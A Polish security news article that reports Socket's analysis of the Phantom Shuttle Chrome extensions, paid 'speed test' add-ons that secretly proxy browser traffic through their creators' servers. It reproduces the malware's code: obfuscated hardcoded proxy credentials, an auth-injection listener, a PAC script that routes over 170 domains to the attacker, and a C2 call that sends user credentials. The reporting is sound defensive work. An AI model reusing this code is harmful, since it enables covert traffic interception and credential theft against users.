Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!

Złośliwe proxy za opłatą? Kolejne “interesujące” wtyczki w Chrome

08 stycznia 2026, 12:05 | Aktualności | 1 komentarz

Badacze z Socket zidentyfikowali dwa złośliwe rozszerzenia w Chrome Web Store, które istniały co najmniej od 2017 roku. Rozszerzenia są reklamowane jako narzędzia do testowania prędkości sieci z wielu lokalizacji. Użytkownicy płacą za subskrypcje, wierząc że kupują “normalną” usługę. Oba rozszerzenia kierują jednak ruch sieciowy przeglądarki przez serwery twórców. Rozszerzenia do dnia publikacji badaczy zebrały ponad 2180 użytkowników – co mogłoby wydawać się małą liczbą gdyby nie fakt, że wtyczka była płatna.
TLDR:

  • Zalecamy ograniczyć liczbę zainstalowanych rozszerzeń, używać trybu incognito dla wrażliwych operacji i nie aktywować w nim wtyczek.
  • Badacze z Socket zidentyfikowali dwa złośliwe rozszerzenia Chrome – Phantom Shuttle. Miały być narzędziami do testowania prędkości sieci z wielu lokalizacji.
  • Po aktywacji statusu VIP rozszerzenia konfigurują proxy w przeglądarce, kierując ruch z ponad 170 docelowych domen przez serwery twórców.
  • Złośliwy kod wstrzykuje zahardkodowane poświadczenia, umożliwiając automatyczne logowanie do serwerów proxy.
  • Żądania HTTPS pozostają zaszyfrowane, ale proxy pozwala na zbieranie metadanych i odtwarzanie historii odwiedzanych stron.

Obie wtyczki mają taką samą nazwę – Phantom Shuttle (幻影穿梭) i zostały opublikowane przez tego samego twórcę (przy użyciu adresu e-mail theknewone.com@gmail[.]com). Przechwytują one ruch użytkownika, konfigurując proxy w przeglądarce oraz stale komunikują się z serwerem C2.

Wykorzystują one oryginalną bibliotekę jQuery (v1.12.2), poprzedzając ją złośliwym kodem który wstrzykuje zahardkodowane poświadczenia. Pozwala to na uwierzytelnienie żądań do serwerów proxy, przez które kierowany jest ruch sieciowy z przeglądarki użytkownika. 

Rys. 1 – skaner Socket wykrywający złośliwy kod w rozszerzeniach Phantom Shuttle, źródło: socket.dev

Opisy w Chrome Web Store wskazują, że Phantom Shuttle to narzędzie dla programistów i osób zajmujących się handlem zagranicznym, którzy testują łączność z wielu lokalizacji geograficznych.

Rys. 2 – wtyczka Phantom Shuttle w Chrome Web Store, źródło: socket.dev

Rozszerzenie obsługuje interfejs do rejestracji użytkowników, logowania oraz system płatności zintegrowany z Alipay i WeChat Pay. To w połączeniu z wąskim targetowaniem (głównie chińskojęzycznych programistów i pracowników handlu), może uśpić czujność ofiar. 

Użytkownicy wybierają z czterech planów: Basic (¥9,9 za miesiąc), Recommended (¥26,9 za kwartał), Popular (¥50,9 za 6 miesięcy) oraz Premium (¥95,9 za rok). Po dokonaniu płatności użytkownicy otrzymują status VIP, a rozszerzenie włącza tryb proxy, który kieruje ruch z ponad 170 docelowych domen przez serwery twórców wtyczek. 

Takie podejście różni się trochę od typowej dystrybucji malware. Użytkownicy muszą sami znaleźć rozszerzenie i zapłacić za dostęp, by otrzymać działającą usługę. Rozszerzenie faktycznie wykonuje testy opóźnień do serwerów, co tylko wzmacnia iluzję wiarygodnego produktu. Większość ofiar pozostaje nieświadoma, że ich ruch jest kierowany przez zewnętrzne serwery.

Mechanizm wstrzykiwania poświadczeń znajduje się w dwóch złośliwych bibliotekach JavaScript dołączonych do rozszerzenia. Twórcy wykorzystali niestandardowy schemat kodowania znak-indeks, aby ukryć zapisane na stałe poświadczenia w obu plikach jquery-1.12.2.min.js oraz scripts.js:

var tjp = "abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ  ;/:'\"!@#$%^&*()1234567890-=+_\\][{}|<>?,./`~";

function jerry(str) {
    if ((!str) || str == "undefined") return false;
    var rt = "";
    var art = str.split("|");
    if ((!art) || art == "undefined") return false;
    art.forEach(function(e) {
        if (e && e !== "undefined") {
            rt += tjp[e];
        }
    });
    return rt;
}

// Encoded credentials
var P_x = "19|14|15|5|0|13|24|";         // topfany
var P_y = "78|75|72|77|74|71|22|4|8|";   // 963852wei
var xtin = jerry(P_x);
var ytin = jerry(P_y);

Listing 1 – szyfrowanie zahardkodowanych poświadczeń do proxy, źródło: socket.dev 

Oryginalne ciągi znaków są dzielone pionowymi kreskami na indeksy, które mapują się na znaki w alfabecie. Ukrywa to poświadczenia przed podstawową analizą statyczną. Odkodowane dane są przechowywane w zmiennych xtin i ytin.

Biblioteki rejestrują listener na chrome.webRequest.onAuthRequired, który przechwytuje każde uwierzytelnianie HTTP na wszystkich stronach:

chrome.webRequest.onAuthRequired.addListener(function(B, A) {
    A({
        authCredentials: {
            username: xtin,  // "topfany"
            password: ytin   // "963852wei"
        }
    })
}, {
    urls: ["<all_urls>"]
}, ["asyncBlocking"]);

Listing 2 – wstrzykiwanie poświadczeń, źródło: socket.dev 

Gdy dowolna strona lub usługa żąda uwierzytelniania HTTP (Basic Auth, Digest Auth, proxy), kod uruchamia się i odpowiada poświadczeniami zapisanymi w zmiennych z poprzedniego kroku. Pozwala to uwierzytelnienie na serwerze proxy atakującego w sposób niewidoczny dla użytkownika.

Po aktywacji statusu VIP rozszerzenie konfiguruje ustawienia proxy Chrome przy użyciu skryptu PAC (Proxy Auto-Configuration). Wtyczka implementuje trzy tryby: close, always oraz smarty. Ostatni z nich wykorzystuje listę ponad 170 domen, do których ruch jest kierowany przez serwer atakującego:

function ne() {
    chrome.storage.local.get(["autoProxyList", "position"], function(j) {
        let domains = typeof domainList === 'string' ? domainList.split(",") : domainList;
        let decodedProxy = U(proxyServer);

        let pacScript = `var FindProxyForURL = function(url, host){
            var D = "DIRECT";
            var p = '${decodedProxy}';

            // Exclude private IPs and localhost
            if (shExpMatch(host, '10.[0-9]+.[0-9]+.[0-9]+')) return D;
            if (shExpMatch(host, '192.168.[0-9]+.[0-9]+')) return D;
            if (shExpMatch(host, '127.[0-9]+.[0-9]+.[0-9]+')) return D;

            // Exclude C2 domain
            if (url.indexOf('phantomshuttle') >= 0) return D;

            // High-value targets
            if (url.match(/google/)) return p;
            if (url.match(/twitter/)) return p;
            if (url.match(/github/)) return p;

            // Domain whitelist matching
            ${domains.map(d => `
                if (shExpMatch(url, '*.${d}/*')) return p;
            `).join('\n')}

            return D;
        }`;

        chrome.proxy.settings.set({
            value: { mode: "pac_script", pacScript: { data: pacScript } },
            scope: "regular"
        });
    });
}

Listing 3 – konfiguracja proxy dla wybranych domen, źródło: socket.dev 

Lista obejmuje narzędzia dla programistów (GitHub, Stack Overflow, Docker, npm), usługi chmurowe (AWS, Azure, DigitalOcean), platformy korporacyjne (Cisco, IBM, VMware), media społecznościowe (Facebook, Twitter/X, Instagram) oraz serwisy z treściami dla dorosłych.

Skrypt PAC wyklucza prywatne zakresy IP, aby zachować normalną łączność w sieciach LAN. Wyklucza także samą domenę C2. Gdy ruch jest kierowany przez proxy, atakujący może uzyskać pozycję man-in-the-middle – żądania użytkownika przechodzą przez infrastrukturę C2. Większość ruchu pozostaje zaszyfrowana (HTTPS), ale można w ten sposób zbierać metadane (np. domeny, dokładne daty żądań), co pozwala odtworzyć historię przeglądania użytkownika (w tym przypadku dla wybranych domen).

Rozszerzenia wykonują co 60 sekund żądanie (heartbeat) do serwera C2 pod adresem phantomshuttle[.]space:

chrome.alarms.create("heartbeat", {
    delayInMinutes: 1,
    periodInMinutes: 1
});

chrome.alarms.onAlarm.addListener(function(alarm) {
    if (alarm.name === "heartbeat") {
        chrome.storage.local.get(["email", "password", "level", "proxyMode"], function(stored) {
            if (stored.level === "1" && stored.proxyMode !== "close") {
                sendHeartbeat(stored);
            }
        });
    }
});

Listing 4 – heartbeat do serwera C2, źródło: socket.dev 

Dane przesyłane są do serwera co 5 minut. Faktyczną transmisję danych obsługuje funkcja sprawdzania statusu VIP Q():

function Q(type = "1") {
    chrome.storage.local.get(["email", "password"], function(stored) {
        chrome.storage.local.get(["positiond", "email", "noticetime2"], function(config) {
            let apiUrl = config.positiond ?? "";
            let email = config.email ?? "";

            if (apiUrl) {
                fetch(U(apiUrl), {  // U() decodes the API URL
                    method: "GET",
                    body: JSON.stringify({
                        type: type,
                        email: email,
                        password: stored.password,
                        version: "319"
                    })
                }).then(response => response.json())
                  .then(data => {
                      // Process server commands
                      if (data.type === "999") {
                          // Not logged in - disable proxy
                          setProxyMode("close");
                      }
                      if (data.type === "801") {
                          // VIP expired - disable proxy
                          setProxyMode("close");
                      }
                      if (data.type === "99") {
                          // Multiple logins detected - force logout
                          chrome.storage.local.set({email: "", token: ""});
                      }
                  });
            }
        });
    });
}

Listing 5 – wysyłanie danych do C2, źródło: socket.dev 

Co ciekawe, każde wywołanie API sprawdzające status VIP wysyła do serwera adres e-mail i hasło użytkownika w postaci jawnej, nawet gdy sprawdzany jest jedynie stan konta.

Poświadczenia użytkownika (login i hasło), tokeny sesji oraz dane konfiguracyjne są trwale przechowywane w lokalnym storage Chrome. Pozostają więc dostępne dla rozszerzenia po restartach przeglądarki.

Na dzień publikacji badaczy serwer C2 wciąż działał. Domena phantomshuttle[.]space kieruje do adresu IP 47[.]244[.]125[.]55 (Alibaba Cloud). Domena ta została zarejestrowana 3 listopada 2017 roku. Same wtyczki zostały już usunięte z Chrome Web Store.

Wywołanie endpointu odpowiedzialnego za konfigurację na serwerze C2 zwraca adresy URL do płatności, ale nie zawiera faktycznych adresów IP serwerów proxy. Są one najprawdopodobniej dynamicznie przypisywane po uwierzytelnieniu użytkownika z aktywną subskrypcją. Taki model działania utrudnia enumerację infrastruktury twórców wtyczek.

Taki nietypowy model świadczenia usług (wymóg posiadania aktywnej subskrypcji) uwiarygodnił wtyczki i utrudnił wykrycie złośliwej aktywności. Świadczy o tym też 8-letni okres działania. Nie jest to pierwsza sytuacja, w której pozornie niewinne rozszerzenie zbiera trochę więcej danych niż powinno. Pisaliśmy już o takich przypadkach tutaj i tutaj.

Jedynym sposobem na minimalizację ryzyka w przypadku wtyczek jest ograniczenie ich liczby do minimum. Wrażliwe operacje (np. logowanie do bankowości) można wykonywać w kartach incognito – domyślnie wtyczki nie mają do nich dostępu. Taki dostęp można aktywować manualnie przy instalacji wtyczki, czego zdecydowanie nie zalecamy.

Źródło: socket.dev

~Tymoteusz Jóźwiak

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Tomek

    Hej, taka mała prośba, wrzucajcie na koniec artykułku tabelke z IOC :)

    Odpowiedz

Odpowiedz na Tomek